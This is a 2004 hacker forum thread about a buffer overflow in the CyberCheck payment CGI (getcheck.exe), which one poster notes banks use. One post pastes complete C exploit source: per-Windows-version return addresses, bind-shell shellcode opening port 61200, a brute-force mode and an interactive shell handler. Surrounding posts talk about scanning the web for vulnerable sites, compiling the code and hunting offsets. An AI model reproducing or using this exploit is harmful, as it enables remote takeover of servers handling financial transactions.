Forums: Cybercheck Buffer Overflow Exploit By Drg4njubas - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Cybercheck Buffer Overflow Exploit By Drg4njubas

#16 User is offline   vnet576 

  • Specialist
  • Icon
  • Group: Members
  • Posts: 1,000
  • Joined: 01-August 03

Posted 30 January 2004 - 02:21 PM

Be careful with this one people..cybercheck is used mainly by banks, I don't think I have to mention how dangerous that could be.
0

#17 Guest_oxydrine_*

  • Group: Guests

Posted 30 January 2004 - 02:58 PM

??
this link is good but dont click on it, juste use the url ;)
0

#18 Guest_XtrA_*

  • Group: Guests

Posted 30 January 2004 - 03:07 PM

what should i scan?
should i type there address of web-site or what?
0

#19 Guest_clubfed_*

  • Group: Guests

Post icon  Posted 30 January 2004 - 03:27 PM

heh i visited dozens of sites that allegedly use this and only 1 in 10 were even running on win32 (most were linux) and of those none had the vulnerable exe cgi anywhere. i couldn't find a vulnerable site or even a site that has this cgi after an hour of searching, so fvck it :) if anyone else figures it out... though i'm sure its too late now, please post. thanks. i am simply curious to see if it was even a real bug.
0

#20 User is offline   phaeton 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 137
  • Joined: 27-January 04

Posted 30 January 2004 - 03:35 PM

Yeah, I would not touch this sploit myself, its too close to banks, and I'm sure they watch their boxes closely. Nonetheless, thanks for the post.
0

#21 User is offline   jimmy 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 135
  • Joined: 21-December 03

Posted 30 January 2004 - 05:17 PM

maybe it would better work with more targets ;)

I'll see if I can compile and than look for more offsets.

compiles without any probs, just wondering now which offsets it uses. don't see that in description
0

#22 Guest_SyN/AcK_*

  • Group: Guests

Posted 30 January 2004 - 07:17 PM

Thanks alot and nice work!
0

#23 User is offline   cyrixx 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 128
  • Joined: 29-November 03

Posted 30 January 2004 - 07:50 PM

compiles nice with linux... :D ohhhh, emmmm, here's the sploit for linux:

/*
     _      ___ _ _        _      _              
  __| |_ _ / __| | | _ _  (_)_  _| |__  __ _ ___ 
 / _` | '_| (_ |_  _| ' \ | | || | '_ \/ _` (_-<
 \__,_|_|  \___| |_||_||_|/ |\_,_|_.__/\__,_/__/
                        |__/   Presents...      

 Cybercheck Buffer Overflow Exploit
 
 CyberCheck is a subsystem of handling business-to-business transactions 
 involving the electronic document interchange for the clients registered 
 in CyberPlat. Learn more on www.cyberplat.com
 
 Details:
 When you use incoreect request method, getcheck.exe call sprintf to write into 
 log: sprintf(buffer,"CGI_CheckEnvironment: Invalid REQUEST_METHOD=%s.", ...)
 If you use too long method, buffer will be overrun.
 
 Vulnerability discovered by drG4njubas of m00.
 Contacts: drG4njubas@bk.ru, http://m00.void.ru
 
 Thanks to d4rkgr3y for porting to linux.
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>

void usage();
void have_fun(int sock);

struct{
	char *platform;
	long retaddr;
}

targets[]={
	{"Windows 2k sp4 eng" , 0x7c4fedbb },
	{"Windows 2k sp3 rus" , 0x77E822EA },
	{"Windows xp sp1 rus" , 0x77e626ba },
	{"Windows xp sp0 rus" , 0x77f5801c }, 
	{"Windows nt sp6 rus" , 0x77f32935 },
	NULL
};


char shellcode[]=
//Generic win32 shellcode I coded (binds shell to a port 61200)
"\x90\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D"
"\x30\x30\x21\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\x52\xD7\xBA"
"\xBB\xBB\xE6\xEE\x8A\x60\xDF\x30\xB8\xFB\x28\x30\xF8\x44\xFB"
"\xCE\x42\x30\xE8\xB8\xDD\x8A\x69\xDD\x03\xBB\xAB\xDD\x3A\x81"
"\xF6\xE1\xCF\xBC\x92\x79\x52\x49\x44\x44\x44\x32\x68\x30\xC1"
"\x87\xBA\x6C\xB8\xE4\xC3\x30\xF0\xA3\x30\xC8\x9B\x30\xC0\x9F"
"\xBA\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= " /cgi-bin/getcheck.exe";
char request[]= " HTTP/1.1\r\nAccept: */*\r\n";
struct hostent *addr;
struct sockaddr_in rmaddr,rmshell;

int main(int argc, char **argv){
	char exploit[2023+sizeof(shellcode)-1];
	char *url,*tmp, host[255];
	int i,t,ret,ok,start,end,bruteforce,sock,shell;
	
	printf("************************************************\n");
	printf("Cybercheck buffer overflow exploit by drG4njubas\n");
	printf("************************************************\n\n");
	
	if(argc<3){
  usage();
  return;
	}
	
	url = 0;
	t = 0;
	bruteforce = 0;
	for(i = 3; i < argc; i++){
  if(strncmp(argv[i], "/u", 2)==0){
 	 url = argv[i];
 	 url[2] == ':' ? (url+=3) : (url+=2);
  }
  else if(strncmp(argv[i],"/t", 2)==0){
 	 tmp = argv[i];
 	 tmp[2] == ':' ? (tmp+=3) : (tmp+=2);
 	 t = atoi(tmp);
  }
  else if(strncmp(argv[i],"/b", 2)==0 && i+2 < argc){
 	 start = strtoul(argv[i+1],0,0);
 	 end = strtoul(argv[i+2],0,0);
 	 i+=2;
 	 bruteforce=1;
  }
	}
	
	if(url)strncpy(URL+1, url, 254);
	if(!bruteforce){
  i=0;
  while(targets[i].platform)i++;
  if(t >= i){
 	 printf("Bad target number.\n");
 	 return;
  }
  start = targets[t].retaddr;
  end = targets[t].retaddr;
	}
	
	for(i = 0; i<2019; i++)exploit[i] = 'a'; 
	memcpy(exploit+2023, shellcode, sizeof(shellcode)-1);
	snprintf(host, 255, "Host: %s\r\n\r\n", argv[1]);


	printf("[+] Resolving %s\n", argv[1]);
	addr = gethostbyname(argv[1]);
	if(addr != NULL){
  memcpy(&(rmaddr.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length);
  memcpy(&(rmshell.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length);
	}
	else{
  printf("[-] Can not resolve host name\n");
  return;
	}
	
	rmaddr.sin_family = AF_INET;
	rmshell.sin_family = AF_INET;
	rmaddr.sin_port = htons(atoi(argv[2]));
	rmshell.sin_port = htons(61200);
	shell = socket(AF_INET, SOCK_STREAM, 0);
	
	if(bruteforce)printf("[+] Starting bruteforce from %p to %p\n", start, end);
	for(ret = start; ret <= end; ret++){
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(!bruteforce)printf("[+] Connecting to %s\n", argv[1]);
  if(connect(sock,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){
 	 printf("[-] Connection failed\n");
 	 return;
  }
  
  if(!bruteforce)printf("[+] Using ret for %s\n", targets[t].platform);
  memcpy(exploit+2019, &ret, 4);
  ok = 1;
  for(i = 2019; i< 2023; i++)
 	 if(exploit[i] == 0x00 || exploit[i] == 0x0A || exploit[i] == 0x20)ok = 0;
  if(ok){
 	 if(bruteforce)printf("  - Trying ret 0x%p\n", ret);
 	 else printf("[+] Sending exploit\n");
 	 send(sock, exploit, 2023+sizeof(shellcode)-1, 0);
 	 send(sock, URL, strlen(URL), 0);
 	 send(sock, request, sizeof(request)-1, 0);
 	 send(sock, host, strlen(host), 0);
 	 close(sock);
 	 if(!connect(shell,(struct sockaddr *)&rmshell,sizeof(rmshell))){
          printf("[+] Congratulations!!! You've got shell;D\n\n");
    have_fun(shell);
    break;
 	 }
 	 else if(!bruteforce)printf("[-] Exploitation failed;(\n");
  }
  else printf("  - Ret %p can not be used!\n", ret);
	}
	close(shell);
}

void usage(){
	int i;
	printf("USAGE: \n");
	printf("m00-cybercheck.exe <host> <port> [/u:Request-URL] [/t:num] [/b start end] \n");
	printf("<host>   - hostname (example: www.cyberplat.ru)\n");
	printf("<port>   - portnumber (example: 80)\n");
	printf("[/u:url] - request-url (default: /cgi-bin/getcheck.exe)\n");
	printf("[/t:num] - target number (see \"TARGETS\")\n");
	printf("[/b start end] - bruteforce mode (don't use it with /t key)\n\n");

	printf("TARGETS:\n");
	for(i =0; targets[i].platform; i++)
  printf("%d - %s\n", i, targets[i].platform);
  
    printf("EXAMPLE:\n");
	printf("m00-cybercheck.exe www.host.ru 80 /u:/scripts/getcheck.exe /t2\n");
	printf("m00-cybercheck.exe www.host.ru 80 /b 0x11223344 0x55667788\n\n");
}

void have_fun(int sock){	
	fd_set rfds;
	int s,r;
	char buf[8096];
	do {
  FD_ZERO(&rfds);
  FD_SET(0, &rfds);
  FD_SET(sock, &rfds);
  s=select(sock+1, &rfds, NULL, NULL, NULL);
  if(s) {
 	 if(FD_ISSET(sock, &rfds)) {

    buf[(r=recv(sock, buf, 8095,0))]='\0';
    printf("%s", buf);
 	 }
 	 if(FD_ISSET(0, &rfds)) {
    buf[(r=read(0, buf, 8095))]='\0';
    send(sock, buf, strlen(buf), 0);
 	 }
  }
	} while(s && r);
	close(sock);
}

0

#24 Guest_clubfed_*

  • Group: Guests

Post icon  Posted 31 January 2004 - 01:07 AM

just to clarify, that's not the exploit "for linux" but rather, one that compiles on linux. still the only published exploits are for the win32 exe cgi, which doesn't seem to exist anywhere in the wild. i happily challenge everyone/anyone to point out even one site that has this cgi on it. :)
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting